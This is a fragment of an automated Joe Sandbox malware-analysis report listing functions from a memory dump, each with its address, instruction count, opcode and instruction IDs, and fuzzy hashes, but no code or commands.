                                                              • Source File: 0000000B.00000002.4323013614.00007FFD9BA80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA80000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_11_2_7ffd9ba80000_buTEJZlOSIruGihHI.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: cffff27883f892f596c6e5a202a37e51e16e0e94b0bdfc910f4a2c3a81a264a7
                                                              • Instruction ID: 329138d0c4f44670b373556173ae6cb88a69710215401a85f46759569bb967be
                                                              • Opcode Fuzzy Hash: cffff27883f892f596c6e5a202a37e51e16e0e94b0bdfc910f4a2c3a81a264a7
                                                              • Instruction Fuzzy Hash: C811483170990A8FEB299B58D8206E433A0EF95351F11067BE819C7AE1DB79A6518380
                                                              Function 00007FFD9BA8A19E Relevance: .1, Instructions: 58COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 0000000B.00000002.4323013614.00007FFD9BA80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA80000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_11_2_7ffd9ba80000_buTEJZlOSIruGihHI.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: 7543f132faa77720ea62d7a19eb781c1544bce9faf0c8013ff77cd2150fc2e53
                                                              • Instruction ID: 58f8759b6a786814903d4e426e7ad3c6618cbe2f599e9878a8cf6b351f68300e
                                                              • Opcode Fuzzy Hash: 7543f132faa77720ea62d7a19eb781c1544bce9faf0c8013ff77cd2150fc2e53
                                                              • Instruction Fuzzy Hash: CA112B3170990E8FEB299B58D8246E43390EF55351F11067AE819C79E1DF79BA508740
                                                              Function 00007FFD9BA8D7FE Relevance: .0, Instructions: 47COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 0000000B.00000002.4323013614.00007FFD9BA80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA80000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_11_2_7ffd9ba80000_buTEJZlOSIruGihHI.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: 833328513f766ac1ae74b17fd50f3c01efed897b18efb646dff11a987dcc47e0
                                                              • Instruction ID: cc1ed14ba3fa7981b77250b3d6348e9b79447d85d98562e21b2be62d906d9a45
                                                              • Opcode Fuzzy Hash: 833328513f766ac1ae74b17fd50f3c01efed897b18efb646dff11a987dcc47e0
                                                              • Instruction Fuzzy Hash: 05F0A431B0CE494FDB58AF2C68165B977D1FF88351B10017FE14EC39A6CE31A9414781
                                                              Function 00007FFD9BA885A9 Relevance: .0, Instructions: 43COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 0000000B.00000002.4323013614.00007FFD9BA80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA80000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_11_2_7ffd9ba80000_buTEJZlOSIruGihHI.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: 31d97d07b38577feb8087956c97c653d044797a383aafc904b1ab376696e8bad
                                                              • Instruction ID: 816e31c59233ba3747ac694c65aab5c151bfeeed1c64a36e18b1c6d4fcce6fc7
                                                              • Opcode Fuzzy Hash: 31d97d07b38577feb8087956c97c653d044797a383aafc904b1ab376696e8bad
                                                              • Instruction Fuzzy Hash: A8012971A0898D8FDB9CDF88C864AACB7B2FB68301F0400AED00DD36A1DE746981CB00
                                                              Function 00007FFD9BA8E1AB Relevance: .0, Instructions: 43COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 0000000B.00000002.4323013614.00007FFD9BA80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA80000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_11_2_7ffd9ba80000_buTEJZlOSIruGihHI.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: e621129afe653558c640b0f8eba52336822a2a4408fae0dee4d3ede7053c700b
                                                              • Instruction ID: 770aa94a2bbef99161f3e963de574ea5de781683e75c5ad704d3137dbad40dda
                                                              • Opcode Fuzzy Hash: e621129afe653558c640b0f8eba52336822a2a4408fae0dee4d3ede7053c700b
                                                              • Instruction Fuzzy Hash: 9201EC30A08D4CCFDF98EB58D855FD4B7B1EB68315F5401A9D40DE7291DA35AAC1CB40
                                                              Function 00007FFD9BA8E1AA Relevance: .0, Instructions: 42COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 0000000B.00000002.4323013614.00007FFD9BA80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA80000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_11_2_7ffd9ba80000_buTEJZlOSIruGihHI.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: c2454fe73a48b2b1937c2e78455c861c4fd95397f03c8da9aa4b7d0ae3da1ff6
                                                              • Instruction ID: 227f2c768d0bfda4a7f6d7202e27c7cf348962a419f1389f824a192529d7bf06
                                                              • Opcode Fuzzy Hash: c2454fe73a48b2b1937c2e78455c861c4fd95397f03c8da9aa4b7d0ae3da1ff6
                                                              • Instruction Fuzzy Hash: BF01D630A0894CCFDF98EF58C859BD8B7A1EB68315F5401A9D40DE7291DA35AAC1CB40
                                                              Function 00007FFD9BA81722 Relevance: .0, Instructions: 39COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 0000000B.00000002.4323013614.00007FFD9BA80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA80000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_11_2_7ffd9ba80000_buTEJZlOSIruGihHI.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: 1c59aac1d37d32b64ca3a1fdc2cfb0cec165474be10d7b08f3bcccc64256fed2
                                                              • Instruction ID: 5b6adb1e0ea7f144ad69bb15a9c2cf03f2971ef355cce0197501b74b87b739e0
                                                              • Opcode Fuzzy Hash: 1c59aac1d37d32b64ca3a1fdc2cfb0cec165474be10d7b08f3bcccc64256fed2
                                                              • Instruction Fuzzy Hash: 52F0C23194F2C9AFD7228BB088614A57FB4AF16200F0A00FAD189CB4A2C97C2646C751
                                                              Function 00007FFD9BA889B2 Relevance: .0, Instructions: 38COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 0000000B.00000002.4323013614.00007FFD9BA80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA80000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_11_2_7ffd9ba80000_buTEJZlOSIruGihHI.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: b4c0dc6250a45285e6f75856a9afac1ef8772ad69719ebc0112c95a9a3bcb1f5
                                                              • Instruction ID: dea49ec4185d9e3bf496359ffc9c9181a242cd2204ac74488f75e8537870760e
                                                              • Opcode Fuzzy Hash: b4c0dc6250a45285e6f75856a9afac1ef8772ad69719ebc0112c95a9a3bcb1f5
                                                              • Instruction Fuzzy Hash: 20F0C23144E2C99FD3228BB088614D93FA4AF02220F1A01E6E0498B4B2C9BD2A46C792
                                                              Function 00007FFD9BA8E222 Relevance: .0, Instructions: 37COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 0000000B.00000002.4323013614.00007FFD9BA80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA80000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_11_2_7ffd9ba80000_buTEJZlOSIruGihHI.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: c7d388c8ac09e0e441315da5c3362b56dd6f29d683755dea470517ea6fe5bf39
                                                              • Instruction ID: d4e7e176de118ddf6a328ac2d07186fd35d5554cfba006f91b551608db57cddb
                                                              • Opcode Fuzzy Hash: c7d388c8ac09e0e441315da5c3362b56dd6f29d683755dea470517ea6fe5bf39
                                                              • Instruction Fuzzy Hash: E8F0C23184E6CA9FD712CBB088215D97FA4AF57204B0900F6E0458B0B2D9BC5706C761
                                                              Function 00007FFD9BA82FC8 Relevance: .0, Instructions: 34COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 0000000B.00000002.4323013614.00007FFD9BA80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA80000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_11_2_7ffd9ba80000_buTEJZlOSIruGihHI.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: 5322464e28d3341fece5cc38288d2d4483b7f2cd07567035d5567e5bae8018f3
                                                              • Instruction ID: 5af933a3c3d859bd27b6408aa2d644db7471b0e0250c5f2a4b5a38783ae51126
                                                              • Opcode Fuzzy Hash: 5322464e28d3341fece5cc38288d2d4483b7f2cd07567035d5567e5bae8018f3
                                                              • Instruction Fuzzy Hash: C3F0B4B1B0FD0E8AFB3617D458315B82A50AF42340F22053BE40E86CE1CD792B15D251
                                                              Function 00007FFD9BA8A17B Relevance: .0, Instructions: 11COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 0000000B.00000002.4323013614.00007FFD9BA80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA80000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_11_2_7ffd9ba80000_buTEJZlOSIruGihHI.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: 4df3d5426a5cbd7c111e9eb6d1bf0f3efd5ab79cdc683058eb422a10010bb25b
                                                              • Instruction ID: 537ead17e86f9dbe60ee3a7904012b1dfd86790dc3af6cedaaea12d5416cefd2
                                                              • Opcode Fuzzy Hash: 4df3d5426a5cbd7c111e9eb6d1bf0f3efd5ab79cdc683058eb422a10010bb25b
                                                              • Instruction Fuzzy Hash: 5BD09238B0EE1F85F27B8781C07023961908F01300E6A843AC09F41DE189BC7B01A212
                                                              Function 00007FFD9BA85A20 Relevance: .0, Instructions: 9COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 0000000B.00000002.4323013614.00007FFD9BA80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA80000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_11_2_7ffd9ba80000_buTEJZlOSIruGihHI.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: 9e44d30ad0ee320154dbb518377e501f8ebce030b151cff09b381c0bcfdc9266
                                                              • Instruction ID: 10529a1519c57460bac50f8a09813eaac98fa9cb030fcc3ece504208d4c8e46a
                                                              • Opcode Fuzzy Hash: 9e44d30ad0ee320154dbb518377e501f8ebce030b151cff09b381c0bcfdc9266
                                                              • Instruction Fuzzy Hash: 8BB01200D0340E00A50831BF0E470B02088494C151FC50060BC04C00D2E80C83E90272
                                                              Function 00007FFD9BA824EF Relevance: .0, Instructions: 8COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 0000000B.00000002.4323013614.00007FFD9BA80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA80000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_11_2_7ffd9ba80000_buTEJZlOSIruGihHI.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: b79b2ca1e2a84506a3da765c4337ef69ab2cd679228755e80d93f6169bf2d08c
                                                              • Instruction ID: 0f7e7e9766b10608d8d6c91912a00a74f5fcab687d87acf690393fd19de00bbc
                                                              • Opcode Fuzzy Hash: b79b2ca1e2a84506a3da765c4337ef69ab2cd679228755e80d93f6169bf2d08c
                                                              • Instruction Fuzzy Hash: 7EC09B51F1F74767F73512F108B10BD17510F153047571572D107855E3DC9C6A055651
                                                              Function 00007FFD9BA896BC Relevance: .0, Instructions: 6COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 0000000B.00000002.4323013614.00007FFD9BA80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA80000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_11_2_7ffd9ba80000_buTEJZlOSIruGihHI.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: 72900980f55fa210be72aee7e952b4519cb63013318c4933ca6243bcb18a8eb6
                                                              • Instruction ID: 95b7f60d54e25c044bb868db1564f8729959d7a2153dcb1557c5b10a4a3b55d7
                                                              • Opcode Fuzzy Hash: 72900980f55fa210be72aee7e952b4519cb63013318c4933ca6243bcb18a8eb6
                                                              • Instruction Fuzzy Hash: 95B01220F0EA0B47F73042F118B803C00400B45205A5A2931E30B45EF7DDFC3F001390